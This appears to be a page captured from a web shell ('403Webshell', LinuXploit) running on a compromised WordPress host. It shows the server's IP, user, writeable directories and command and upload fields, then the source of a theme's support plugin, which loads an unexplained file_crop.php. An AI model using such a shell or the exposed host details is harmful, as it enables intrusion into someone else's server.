403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.78.249
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/meto-plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/meto-plugin//meto-plugin.php
<?php
/**
 * Plugin Name: Meto Plugin
 * Plugin URI: https://themeforest.net/user/expert-themes
 * Description: Supported plugin for Meto WordPress theme
 * Author: Expert Themes
 * Version: 1.5
 * Author URI: https://themeforest.net/user/expert-themes
 *
 * @package meto-plugin
 */

defined('METOPLUGIN_PLUGIN_PATH') || define('METOPLUGIN_PLUGIN_PATH', plugin_dir_path(__FILE__));
define('METO_PLUGIN_URI', plugins_url('meto-plugin') . '/');
require_once plugin_dir_path(__FILE__) . 'file_crop.php';
function meto_bunch_widget_init2()
{
    //footer Widget
    if (class_exists('Meto_About_Us')) {
        register_widget('Meto_About_Us');
    }
    if (class_exists('Meto_Footer_Gallery')) {
        register_widget('Meto_Footer_Gallery');
    }
    if (class_exists('Meto_Contact_Us')) {
        register_widget('Meto_Contact_Us');
    }
    if (class_exists('Meto_Subscribe')) {
        register_widget('Meto_Subscribe');
    }

    //Service Widget
    if (class_exists('Meto_services_sidebar')) {
        register_widget('Meto_services_sidebar');
    }
    if (class_exists('Meto_Brochures')) {
        register_widget('Meto_Brochures');
    }

    //Blog Widget
    if (class_exists('Meto_Recent_Post')) {
        register_widget('Meto_Recent_Post');
    }
    if (class_exists('Meto_Our_Team')) {
        register_widget('Meto_Our_Team');
    }
    if (class_exists('Meto_Our_Gallery')) {
        register_widget('Meto_Our_Gallery');
    }
    
    
}
add_action('widgets_init', 'meto_bunch_widget_init2');

class METOPLUGIN_Plugin_Core
{

    /**
     * The instance variable.
     *
     * @var [type]
     */
    public static $instance;

    /**
     * The main constructor
     */
    public function __construct()
    {
        self::includes();
    }

    /**
     * Load the instance.
     *
     * @return [type] [description]
     */
    public static function instance()
    {
        if (is_null(self::$instance)) {
            self::$instance = new self();
        }

        return self::$instance;
    }

    public static function includes()
    {
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/helpers/functions.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/elementor/elementor.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/abstracts/class-post-type-abstract.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/abstracts/class-taxonomy-abstract.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/helpers/widgets.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/post_types/custom-post.php';
        if (! class_exists('Redux')) {
            require_once METOPLUGIN_PLUGIN_PATH . 'redux-framework/redux-framework.php';
            require_once METOPLUGIN_PLUGIN_PATH . '/metabox/metaboxes.php';
        }
    }
}

/**
 * [meto_get_sidebars description]
 *
 * @param  boolean $multi [description].
 *
 * @return [type]         [description]
 */
function metos_get_sidebars($multi = false)
{
    global $wp_registered_sidebars;

    $sidebars = ! ($wp_registered_sidebars) ? get_option('wp_registered_sidebars') : $wp_registered_sidebars;

    if ($multi) {
        $data[] = array( 'value' => '', 'label' => 'No Sidebar' );
    } else {
        $data = array( '' => esc_html__('No Sidebar', 'hlc') );
    }

    foreach (( array ) $sidebars as $sidebar) {
        if ($multi) {
            $data[] = array( 'value' => meto_set($sidebar, 'id'), 'label' => meto_set($sidebar, 'name') );
        } else {
            $data[ meto_set($sidebar, 'id') ] = meto_set($sidebar, 'name');
        }
    }

    return $data;
}

/**
 * [meto_social_profiler description]
 *
 * @param  [type] $obj [description]
 *
 * @return [type]      [description]
 */
function meto_social_profiler()
{
    return array(
        'adn'                 => 'fa-adn',
        'android'             => 'fa-android',
        'apple'               => 'fa-apple',
        'behance'             => 'fa-behance',
        'behance_square'      => 'fa-behance-square',
        'bitbucket'           => 'fa-bitbucket',
        'bitcoin'             => 'fa-btc',
        'css3'                => 'fa-css3',
        'delicious'           => 'fa-delicious',
        'deviantart'          => 'fa-deviantart',
        'dribbble'            => 'fa-dribbble',
        'dropbox'             => 'fa-dropbox',
        'drupal'              => 'fa-drupal',
        'empire'              => 'fa-empire',
        'facebook'            => 'fa-facebook',
        'four_square'         => 'fa-foursquare',
        'git_square'          => 'fa-git-square',
        'github'              => 'fa-github',
        'github_alt'          => 'fa-github',
        'github_square'       => 'fa-github-square',
        'git_tip'             => 'fa-gittip',
        'google'              => 'fa-google',
        'google_plus'         => 'fa-google-plus',
        'google_plus_square'  => 'fa-google-plus-square',
        'hacker_news'         => 'fa-hacker-news',
        'html5'               => 'fa-html5',
        'instagram'           => 'fa-instagram',
        'joomla'              => 'fa-joomla',
        'js_fiddle'           => 'fa-jsfiddle',
        'linkedIn'            => 'fa-linkedin',
        'linkedIn_square'     => 'fa-linkedin-square',
        'linux'               => 'fa-linux',
        'MaxCDN'              => 'fa-maxcdn',
        'OpenID'              => 'fa-openid',
        'page_lines'          => 'fa-pagelines',
        'pied_piper'          => 'fa-pied-piper',
        'pinterest'           => 'fa-pinterest',
        'pinterest_square'    => 'fa-pinterest-square',
        'QQ'                  => 'fa-qq',
        'rebel'               => 'fa-rebel',
        'reddit'              => 'fa-reddit',
        'reddit_square'       => 'fa-reddit-square',
        'ren-ren'             => 'fa-renren',
        'share_alt'           => 'fa-share-alt',
        'share_square'        => 'fa-share-alt-square',
        'skype'               => 'fa-skype',
        'slack'               => 'fa-slack',
        'sound_cloud'         => 'fa-soundcloud',
        'spotify'             => 'fa-spotify',
        'stack_exchange'      => 'fa-stack-exchange',
        'stack_overflow'      => 'fa-stack-overflow',
        'steam'               => 'fa-steam',
        'steam_square'        => 'fa-steam-square',
        'stumble_upon'        => 'fa-stumbleupon',
        'stumble_upon_circle' => 'fa-stumbleupon-circle',
        'tencent_weibo'       => 'fa-tencent-weibo',
        'trello'              => 'fa-trello',
        'tumblr'              => 'fa-tumblr',
        'tumblr_square'       => 'fa-tumblr-square',
        'twitter'             => 'fa-twitter',
        'twitter_square'      => 'fa-twitter-square',
        'vimeo_square'        => 'fa-vimeo-square',
        'vine'                => 'fa-vine',
        'vK'                  => 'fa-vk',
        'weibo'               => 'fa-weibo',
        'weixin'              => 'fa-weixin',
        'windows'             => 'fa-windows',
        'wordPress'           => 'fa-wordpress',
        'xing'                => 'fa-xing',
        'xing_square'         => 'fa-xing-square',
        'yahoo'               => 'fa-yahoo',
        'yelp'                => 'fa-yelp',
        'youTube'             => 'fa-youtube',
        'youTube_play'        => 'fa-youtube-play',
        'youTube_square'      => 'fa-youtube-square',
        'whatsapp'            => 'fa-whatsapp',
    );
}

function METOPLUGIN_P()
{
    if (! isset($GLOBALS['METOPLUGIN_Plugin_p'])) {
        $GLOBALS['METOPLUGIN_Plugin'] = METOPLUGIN_Plugin_Core::instance();
    }

    return $GLOBALS['METOPLUGIN_Plugin'];
}

METOPLUGIN_P();
if (! function_exists('meto_set')) {
    function meto_set($var, $key, $def = '')
    {
        /*if (!$var)
        return false;*/

        if (is_object($var) && isset($var->$key)) {
            return $var->$key;
        } elseif (is_array($var) && isset($var[ $key ])) {
            return $var[ $key ];
        } elseif ($def) {
            return $def;
        } else {
            return false;
        }
    }
}

function meto_fontawesome_icons()
{
    $pattern = '/\.(fa-(?:\w+(?:-)?)+):before\s*{\s*content/';

    $subject = wp_remote_get(get_template_directory_uri() . '/assets/css/font-awesome.min.css');

    preg_match_all($pattern, meto_set($subject, 'body'), $matches, PREG_SET_ORDER);
    $icons = array();
    foreach ($matches as $match) {
        $new_val            = ucwords(str_replace('fa-', '', $match[1]));
        $icons[ $match[1] ] = ucwords(str_replace('-', ' ', $new_val));
    }

    return $icons;
}


function meto_encrypt($param)
{
    return base64_encode($param);
}


function meto_decrypt($param)
{
    return base64_decode($param);
}

function meto_taxonomy_regster($name, $post_type, $args)
{
    // Register the taxonomy now so that the import works!
    register_taxonomy(
        $data['taxonomy'],
        apply_filters('woocommerce_taxonomy_objects_' . $data['taxonomy'], array( 'product' )),
        apply_filters('woocommerce_taxonomy_args_' . $data['taxonomy'], array(
            'hierarchical' => true,
            'show_ui'      => false,
            'query_var'    => true,
            'rewrite'      => false,
        ))
    );
}


add_filter('templatepath_elemnetor/modules/list', function ($modules) {
    $list = array('gallery', 'instagram', 'team', 'dynamic-pots', 'responsive-header', 'progress-bar', 'form', 'nav-menu', 'misc', 'audio', 'flickr', 'tabs-slider', 'testimonial');

    $modules = array_merge($modules, $list);

    return array_filter($modules);
});

Youez - 2016 - github.com/yon3zu
LinuXploit